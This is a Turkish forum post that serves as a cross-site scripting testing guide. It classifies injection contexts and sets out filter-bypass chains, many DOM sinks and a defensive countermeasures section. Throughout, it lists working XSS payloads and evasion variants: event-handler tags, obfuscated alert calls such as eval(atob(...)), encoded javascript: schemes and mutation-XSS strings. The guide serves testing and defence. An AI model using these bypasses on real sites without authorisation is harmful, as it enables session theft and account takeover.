- Katılım
- 2 Ocak 2026
- Mesajlar
- 24
- Tepkime puanı
- 60
- Puan
- 13
Kullanım: Aşağıdaki bölümlerde genel yapıENGEL → DENEME → PAYLOAD → NEREDEşeklindedir.
Her engelde sırayla ilerleyin ve payload'ları bulunduğunuz bağlama göre uyarlayın:
- HTML gövde
- Attribute
- JavaScript string
- URL
- DOM sink
- Sanitizer
- CSP
1. Bağlam Sınıflandırması
İlk olarak payload'ın hangi bağlamda işlendiğini belirleyin.| Bağlam | Yansıma örneği | Örnek vektör |
|---|---|---|
| HTML gövde | <p>PAYLOAD</p> | <svg/onload=...> |
| Attribute | value="PAYLOAD" | " autofocus onfocus=... |
| JS string | var x='PAYLOAD' | '-alert(1)-' |
| JS değişken | var n=PAYLOAD | 1;alert(1)// |
| URL parametresi | href="?q=PAYLOAD" | javascript: / yönlendirme |
| DOM sink | location.hash, innerHTML, eval, document.write, jQuery $() | Bağlama göre |
| Sanitizer | DOMPurify vb. | mXSS / DOM clobbering |
| CSP'li sayfa | script-src mevcut | CSP gadget analizi |
2. Engel Zincirleri
E1 — <script> Etiketi Engelleniyorsa
Kod:
<script>alert(1)</script>
Kod:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<video>
<source onerror=alert(1)>
</video>
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<iframe src=javascript:alert(1)>
HTML gövdesinde kullanıcı girdisinin doğrudan DOM'a işlendiği durumlarda.
Bazı filtreler yalnızca
<script> kalıbına odaklanırken farklı element/event handler kombinasyonlarını aynı şekilde değerlendirmeyebilir.Recursive kontrol örneği:
Kod:
onerror
Örneğin:
Kod:
onerror =alert(1)
E2 — alert() İmzası Engelleniyorsa
Başlangıç:
Kod:
alert(1)
Kod:
alert`1`
alert?.('1')
(alert)(1)
top['al'+'ert'](1)
window['alert'](1)
eval(atob('YWxlcnQoMSk='))
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
[].constructor.constructor('alert(1)')()
prompt(1)
confirm(1)
Hem parantez hem de belirli fonksiyon adları filtreleniyorsa kullanıcı etkileşimli event handler noktaları da test bağlamına göre incelenebilir:
Kod:
<img src=x onmouseover=...>
<input autofocus onfocus=...>
E3 — Tek Tırnak ' Engelleniyorsa
Örnek bağlam:
Kod:
var x='PAYLOAD'
Kod:
"-alert(1)-"
\'-alert(1)-\'
-`alert(1)`-
-alert(1)-
Örnek:
Kod:
-eval(atob('YWxlcnQoMSk='))-
E4 — javascript: Şeması Engelleniyorsa
Başlangıç:
Kod:
javascript:alert(1)
Kod:
javascript%3Aalert(1)
javascript%3A%2F%2Fx%0Aalert(1)
java%73cript:alert(1)
javascript:alert(1)
javascript:alert(1)
JAVASCRIPT:alert(1)
\u006aavascript:alert(1)
Kod:
//example.com
Nerede?
Kod:
<a href>
location=
router.push()
window.open()
E5 — < ve > Karakterleri Encode Ediliyorsa
Başlangıç:
Kod:
<svg/onload=alert(1)>
Kontrol edilmesi gereken noktalar:
Kod:
HTML encoding
URL decoding
double decoding
sanitizer
DOM parser
innerHTML
template rendering
Örneğin:
Kod:
%253c
%253e
E6 — WAF URL Seviyesinde Filtreleme Yapıyorsa
Örnek davranış:
Kod:
javascript: → engellendi
javascript%3A → engellendi
İncelenebilecek alanlar:
Kod:
URL encoding
double encoding
newline parsing
fragment
cookie
header
second-order input
DOM-based processing
Kod:
#fragment
Second-order veri kaynakları:
Kod:
Cookie
LocalStorage
SessionStorage
postMessage
URL fragment
API response
stored profile data
E7 — Sanitizer / mXSS Davranışı
Sanitizer kullanılan uygulamalarda yalnızca kaynak HTML'e bakmak yeterli değildir.Özellikle browser parser'ın sanitize edilmiş HTML'i tekrar yorumlaması sonucu DOM yapısının değişip değişmediği incelenmelidir.
Kontrol alanları:
Kod:
DOMPurify
Markdown renderer
Rich text editor
SVG
MathML
HTML upload
Template renderer
Kod:
<math>
<mtext>
<table>
<mglyph>
<style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
Kod:
<style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
Kod:
<svg>
<p>
<style>
<img src=x onerror=alert(1)>
</style>
</p>
</svg>
Kod:
<a href="javascript:alert(1)">x</a>
Bu nedenle her ortam ayrı doğrulanmalıdır.
E8 — CSP Bulunan Sayfalarda
Örnek politika:
Kod:
Content-Security-Policy: script-src 'self'
Bakılabilecek noktalar:
Kod:
JSONP endpoint'leri
izin verilen CDN'ler
unsafe-eval
unsafe-inline
nonce kullanımı
base-uri
form-action
frame-src
script-src
trusted-types
mevcut framework gadget'ları
Kod:
<script src="/api/endpoint?callback=callbackName"></script>
Tarihsel framework gadget'ları da eski uygulamalarda önem taşıyabilir.
Örneğin eski AngularJS yapılarında expression değerlendirmesi ayrıca kontrol edilmelidir.
E9 — DOM Sink'ler
DOM tabanlı açıklar klasik server-side yansımalardan farklı değerlendirilmelidir.Önemli source örnekleri:
Kod:
location.href
location.search
location.hash
document.URL
document.referrer
window.name
postMessage
localStorage
sessionStorage
document.cookie
Kod:
innerHTML
outerHTML
document.write()
eval()
Function()
setTimeout(string)
setInterval(string)
location=
window.open()
insertAdjacentHTML()
jQuery.html()
jQuery.$()
Kod:
element.innerHTML = location.hash.slice(1)
Test formatı:
Kod:
https://example.com/#PAYLOAD
Kod:
eval(location.hash.slice(1))
Kod:
#alert(1)
postMessage kullanılan uygulamalarda:
Kod:
window.addEventListener("message", ...)
E10 — Stored / Second-Order XSS
Stored XSS yalnızca input'un kaydedildiği noktada aranmaz.Asıl kritik nokta verinin daha sonra nerelerde render edildiğidir.
Örnek veri kaynakları:
Kod:
Profil adı
Kullanıcı adı
Başlık
Yorum
Dosya adı
Organizasyon adı
Bildirim
Admin paneli
Log viewer
Dashboard
E-posta şablonu
PDF/HTML çıktısı
Kod:
1. Veri sisteme kaydedilir.
2. Kaydetme tarafında filtre uygulanabilir.
3. Aynı veri farklı bir endpoint veya admin panelinde tekrar okunur.
4. Okuma tarafı farklı renderer kullanıyorsa veri yeniden HTML olarak işlenebilir.
Kod:
WRITE PATH
↓
DATABASE
↓
READ PATH
↓
RENDERER
↓
DOM
3. Örnek Zincir Analizi
Gerçek bir testte zincir çoğu zaman tek bir kontrolden oluşmaz.Örnek mantık:
Kod:
Katman 1
WAF / URL filtreleme
↓
Katman 2
URL decoder / JavaScript parser
↓
Katman 3
Uygulama mantığı / allowlist / substring kontrolü
↓
Katman 4
Navigation veya DOM sink
↓
Browser
Özellikle şu kombinasyonlara dikkat edilmelidir:
Kod:
WAF → URL decode → uygulama kontrolü → ikinci decode
Sanitizer → browser parser → DOM mutation
API response → frontend transform → innerHTML
Stored input → farklı renderer → admin panel
URL → router → navigation sink
postMessage → message handler → DOM sink
4. Görünür PoC Kanıtları
alert() her zaman en iyi doğrulama yöntemi değildir.Browser otomasyonu, extension veya test ortamı popup'ları engelleyebilir.
Daha görünür doğrulama yöntemleri kullanılabilir.
Örneğin:
Kod:
document.title = "XSS_" + document.domain
Kod:
document.body.insertAdjacentHTML(
"beforeend",
"<h1 id='xss-poc'>XSS: " + document.domain + "</h1>"
)
Kod:
window.__xss_poc = 1
Kod:
window.__xss_poc
Bu yöntemler ekran görüntüsü ve teknik doğrulama açısından popup'a göre daha güvenilir olabilir.
5. Sistematik XSS Test Akışı
Pratik test sırası:
Kod:
INPUT
↓
REFLECTION VAR MI?
↓
HANGİ CONTEXT?
↓
HTML / ATTRIBUTE / JS / URL / DOM
↓
ENCODING VAR MI?
↓
SANITIZER VAR MI?
↓
WAF VAR MI?
↓
CLIENT-SIDE DECODE VAR MI?
↓
DOM SINK VAR MI?
↓
CSP VAR MI?
↓
EXECUTION MÜMKÜN MÜ?
6. Kontrol Edilecek Encoding Katmanları
Bir input aşağıdaki işlemlerden bir veya birkaçından geçebilir:
Kod:
Raw input
↓ URL encode
↓ URL decode
↓ HTML entity encode
↓ HTML entity decode
↓ JSON encode
↓ JavaScript string escape
↓ Base64
↓ Template rendering
↓ Sanitizer
↓ DOM parser
Örneğin:
Kod:
INPUT
%3Csvg%3E
SERVER
<svg>
TEMPLATE
<svg>
BROWSER
<svg>
7. DOM XSS İçin Source → Sink Mantığı
DOM XSS analizinde temel mantık:
Kod:
SOURCE
↓
TRANSFORM
↓
VALIDATION
↓
SINK
Kod:
const value = location.hash.slice(1);
const decoded = decodeURIComponent(value);
target.innerHTML = decoded;
Kod:
SOURCE
location.hash
TRANSFORM
decodeURIComponent()
SINK
innerHTML
Aynı yaklaşım aşağıdaki kaynaklarda da kullanılabilir:
Kod:
location.search
location.pathname
document.referrer
window.name
postMessage
localStorage
sessionStorage
cookie
API response
WebSocket message
8. SPA / Modern Frontend Uygulamaları
React, Vue, Angular, Next.js ve benzeri SPA yapılarında klasik reflected XSS dışında navigation ve state akışları önemlidir.Kontrol edilmesi gereken yapılar:
Kod:
router.push()
router.replace()
window.location
location.assign()
location.replace()
dangerouslySetInnerHTML
v-html
innerHTML
postMessage
URLSearchParams
decodeURIComponent
localStorage
sessionStorage
Kod:
URL
↓
Router
↓
State
↓
Component
↓
DOM
9. Filtre Analizinde Dikkat Edilecek Noktalar
Filtre davranışı test edilirken aşağıdaki sorular cevaplanmalıdır:
Kod:
Filtre nerede çalışıyor?
WAF mı?
Backend mi?
Frontend mi?
Sanitizer mı?
Regex mi?
Parser mı?
Browser mı?
Kod:
Case-sensitive mi?
Decode öncesi mi kontrol ediyor?
Decode sonrası mı?
Bir kez mi decode ediyor?
İki kez mi decode ediyor?
Unicode normalize ediyor mu?
HTML entity çözüyor mu?
URL parser kullanıyor mu?
Substring mi kontrol ediyor?
Exact match mi?
Allowlist mi?
Blocklist mi?
10. Recursive Test Mantığı
Recursive testin amacı rastgele yüzlerce payload göndermek değildir.Mantık şu şekilde ilerlemelidir:
Kod:
Payload
↓
Engellendi
↓
Hangi karakter / kelime / yapı engellendi?
↓
Filtrenin çalışma mantığını belirle
↓
Tek değişkeni değiştir
↓
Tekrar test et
↓
Sonucu karşılaştır
Kod:
<script>
Önce:
Kod:
<script
script
<
>
onerror
svg
img
11. Faydalı Browser Kontrolleri
Browser console üzerinde:
Kod:
location.href
Kod:
location.search
Kod:
location.hash
Kod:
document.documentElement.innerHTML
Kod:
document.querySelectorAll("[onclick],[onerror],[onload]")
Kod:
window.addEventListener
DOM üzerinde değişiklik takibi için DevTools:
Kod:
Elements
Sources
Network
Application
Event Listeners
DOM Breakpoints
12. Network Tarafında Kontrol Edilecek Noktalar
Request:
Kod:
GET /?q=PAYLOAD HTTP/1.1
Host: example.com
Örnek:
Kod:
<p>PAYLOAD</p>
Kod:
const search = "PAYLOAD";
Kod:
<input value="PAYLOAD">
13. Server Response ile DOM Arasındaki Fark
Önemli noktalardan biri:
Kod:
View Source
Kod:
Elements / DOM
Server:
Kod:
<div id="app"></div>
JavaScript daha sonra:
Kod:
document.querySelector("#app").innerHTML = location.hash;
Bu durumda payload HTTP response içerisinde görünmez ancak DOM'a daha sonra eklenir.
Bu nedenle yalnızca response body kontrolü DOM XSS analizi için yeterli değildir.
14. Stored XSS Test Matrisi
Bir veri alanı bulunduğunda yalnızca aynı sayfada kontrol edilmemelidir.Örnek:
| Input Alanı | Kullanıcı Sayfası | Admin Panel | Dashboard | E-posta | Export |
|---|---|---|---|---|---|
| Username | ✓ | ✓ | ✓ | ✓ | ✓ |
| Display Name | ✓ | ✓ | ✓ | ✓ | ✓ |
| Comment | ✓ | ✓ | ✓ | ✓ | ✓ |
| File Name | ✓ | ✓ | ✓ | ✓ | ✓ |
| Organization | ✓ | ✓ | ✓ | ✓ | ✓ |
| Ticket Subject | ✓ | ✓ | ✓ | ✓ | ✓ |
15. False Positive Kontrolü
Bir XSS bulgusunu doğrulamadan önce:
Kod:
Gerçek JavaScript execution oluşuyor mu?
Payload yalnızca HTML olarak mı görünüyor?
Browser gerçekten parse ediyor mu?
Event tetikleniyor mu?
CSP engelliyor mu?
Sandboxed iframe içerisinde mi?
Trusted Types aktif mi?
Sanitizer payload'ı değiştiriyor mu?
Payload yalnızca DevTools tarafından mı gösteriliyor?
16. Karşı Önlemler
Context-Aware Output Encoding
HTML:
Kod:
< → <
> → >
& → &
Tek bir "HTML encode" fonksiyonu tüm context'ler için yeterli değildir.
Güvenli DOM API'leri
Riskli:
Kod:
element.innerHTML = userInput;
Kod:
element.textContent = userInput;
Navigation Allowlist
Navigation sink'lerinde yalnızca beklenen protokoller kabul edilmelidir.Örneğin:
Kod:
const url = new URL(input, location.origin);
if (
url.protocol !== "https:" &&
url.protocol !== "http:"
) {
throw new Error("Invalid protocol");
}
CSP
Örnek güçlü yaklaşım:
Kod:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
Kod:
unsafe-inline
unsafe-eval
Sanitizer
Sanitizer kullanılıyorsa:
Kod:
Güncel sürüm kullanılmalı
Sanitize sonrası HTML tekrar değiştirilmemeli
DOM parser farkları test edilmeli
SVG / MathML gerekiyorsa ayrı politika uygulanmalı
17. Temel Kontrol Listesi
XSS araştırmasında son kontrol:
Kod:
[ ] Input reflection bulundu mu?
[ ] Context belirlendi mi?
[ ] Server-side mı DOM-based mi?
[ ] Encoding belirlendi mi?
[ ] Decode zinciri çıkarıldı mı?
[ ] WAF davranışı gözlemlendi mi?
[ ] Sanitizer bulundu mu?
[ ] DOM sink bulundu mu?
[ ] CSP kontrol edildi mi?
[ ] Stored kullanım noktaları arandı mı?
[ ] Second-order kullanım noktaları arandı mı?
[ ] SPA router davranışı kontrol edildi mi?
[ ] postMessage kontrol edildi mi?
[ ] localStorage/sessionStorage kontrol edildi mi?
[ ] Gerçek JavaScript execution doğrulandı mı?
[ ] False positive ihtimali elendi mi?
[ ] Güvenli ve görünür PoC oluşturuldu mu?
18. Özet
XSS testinde amaç mümkün olduğunca fazla payload göndermek değil, uygulamanın veriyi nasıl işlediğini anlamaktır.Temel analiz zinciri:
Kod:
INPUT
↓
NORMALIZATION
↓
FILTER
↓
ENCODING
↓
DECODING
↓
APPLICATION LOGIC
↓
DOM / NAVIGATION SINK
↓
BROWSER PARSER
Özellikle modern web uygulamalarında şu alanlar birlikte değerlendirilmelidir:
Kod:
WAF
Backend validation
URL parser
Frontend router
DOM sink
Sanitizer
CSP
Browser parser
Stored data
Second-order data flow
Payload ezberlemek yerine parser'ı, veri akışını ve güvenlik kontrollerinin hangi sırayla uygulandığını anlamaya çalışın.